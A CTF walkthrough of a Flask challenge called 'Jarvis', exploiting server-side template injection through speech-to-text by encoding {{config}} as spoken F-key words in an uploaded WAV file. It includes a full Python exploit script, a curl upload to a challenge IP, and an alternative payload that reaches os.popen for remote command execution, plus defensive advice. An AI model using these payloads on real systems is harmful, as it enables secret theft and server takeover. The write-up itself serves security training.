Джарвис (Jarvis)
Джарвис (Jarvis)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Flask config disclosure via {{config}}, KeyCodes bypass for special characters injection, Server-Side Template Injection (SSTI) via speech-to-text, Voice command injection through WAV file upload
Summary
Walkthrough of the CUSTOM Web Джарвис (Jarvis). Task: Flask web app with WAV file upload and speech-to-text functionality, hidden KeyCodes page mapping F-keys to special characters. Solution: SSTI via voice command injection - speak "F5 F5 config F
Description
"Звонила мисс Поттс и интересовалась — вы сегодня намерены играть в супергероя или приедете в офис и займётесь серьёзной работой?"
(Miss Potts called and asked - are you going to play superhero today or come to the office and do some serious work?)
The task theme is Jarvis, Tony Stark's AI assistant from Iron Man. A hint towards voice control.
Reconnaissance
Technologies
Server: Werkzeug/2.2.2 Python/3.11.5
Flask backend with WAV file upload and speech recognition functionality.
Functionality
- Main page — WAV file upload form
- Speech-to-text — server recognizes speech and displays the result
- KeyCodes — hidden page
/?give=keyCodeswith special character mappings
KeyCodes (critical finding)
F1 = (
F2 = )
F3 = *
F4 = /
F5 = {
F6 = }
F7 = .
F8 = _
F9 = !
This means that spoken "F5" is converted to {, and "F6" to }.
Analysis
Hypothesis: SSTI via voice
Flask + Jinja2 + user input (via speech-to-text) = potential SSTI.
If the server passes recognized text directly to the template engine:
python read-only • copy allowed# Vulnerable code (presumably) text = speech_to_text(wav_file) return render_template_string(f"You said: {text}")
Building the payload
For SSTI in Jinja2, curly braces {{ }} are needed. Using KeyCodes:
F5 F5→{{F6 F6→}}
Payload for reading config:
F5 F5 config F6 F6 → {{config}}
Solution
Step 1: Creating WAV with payload
python read-only • copy allowedfrom gtts import gTTS # SSTI payload via voice commands tts = gTTS(text="F5 F5 config F6 F6", lang='en') tts.save("ssti_payload.mp3")
Step 2: Converting to WAV
bash read-only • copy allowedffmpeg -y -i ssti_payload.mp3 -ar 16000 -ac 1 ssti_payload.wav
Step 3: Upload and exploitation
bash read-only • copy allowedcurl -s -X POST -F "file=@ssti_payload.wav" http://62.173.140.174:16029/
Result
The server recognized the speech as {{config}}, Jinja2 executed the expression and returned Flask config:
python read-only • copy allowed<Config { 'SECRET_KEY': 'CODEBY{REDACTED}', 'DEBUG': False, ... }>
Full Exploitation Script
python read-only • copy allowed#!/usr/bin/env python3 """ Jarvis SSTI via Speech-to-Text hackerlab.pro CTF """ from gtts import gTTS import subprocess import requests import os TARGET = "http://62.173.140.174:16029/" def create_payload_wav(text, filename): """Create WAV file with spoken payload""" tts = gTTS(text=text, lang='en') mp3_file = filename.replace('.wav', '.mp3') tts.save(mp3_file) # Convert to WAV (16kHz mono for better recognition) subprocess.run([ 'ffmpeg', '-y', '-i', mp3_file, '-ar', '16000', '-ac', '1', filename ], capture_output=True) os.remove(mp3_file) return filename def upload_and_exploit(wav_file): """Upload WAV and get response""" with open(wav_file, 'rb') as f: files = {'file': (wav_file, f, 'audio/wav')} response = requests.post(TARGET, files=files) return response.text # Create SSTI payload: {{config}} # F5 F5 = {{, F6 F6 = }} payload = "F5 F5 config F6 F6" wav_file = create_payload_wav(payload, "ssti.wav") # Exploit result = upload_and_exploit(wav_file) print(result) # Cleanup os.remove(wav_file)
Alternative Payloads
python read-only • copy allowed# Read SECRET_KEY directly "F5 F5 config F7 SECRET F8 KEY F6 F6" # {{config.SECRET_KEY}} # RCE (if more is needed) "F5 F5 request F7 application F7 F8 F8 globals F8 F8 F7 F8 F8 builtins F8 F8 F7 F8 F8 import F8 F8 F1 apostrophe os apostrophe F2 F7 popen F1 apostrophe id apostrophe F2 F7 read F1 F2 F6 F6" # Hard to pronounce, but theoretically possible
Defense
- Never pass user input to template engine — even if it came through speech-to-text
- Sanitize recognition results — filter special characters
- Use sandboxed Jinja2 — restrict available objects
- Don't store secrets in config — use environment variables
- Validate KeyCodes — don't convert to dangerous characters
Lessons
- Non-standard attack vectors — SSTI via voice is a creative approach
- KeyCodes as a hint — hidden page with symbol mappings indicated the injection method
- Task theme matters — Jarvis = voice assistant = voice commands
References
- Jinja2 SSTI - HackTricks
- gTTS Documentation
- PayloadsAllTheThings - SSTI
Key Takeaways / Lessons
- Mastering Flask config disclosure via {{config}}, KeyCodes bypass for special characters injection, Server-Side Template Injection (SSTI) via speech-to-text, Voice command injection through WAV file upload was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Джарвис (Jarvis) • Difficulty: Medium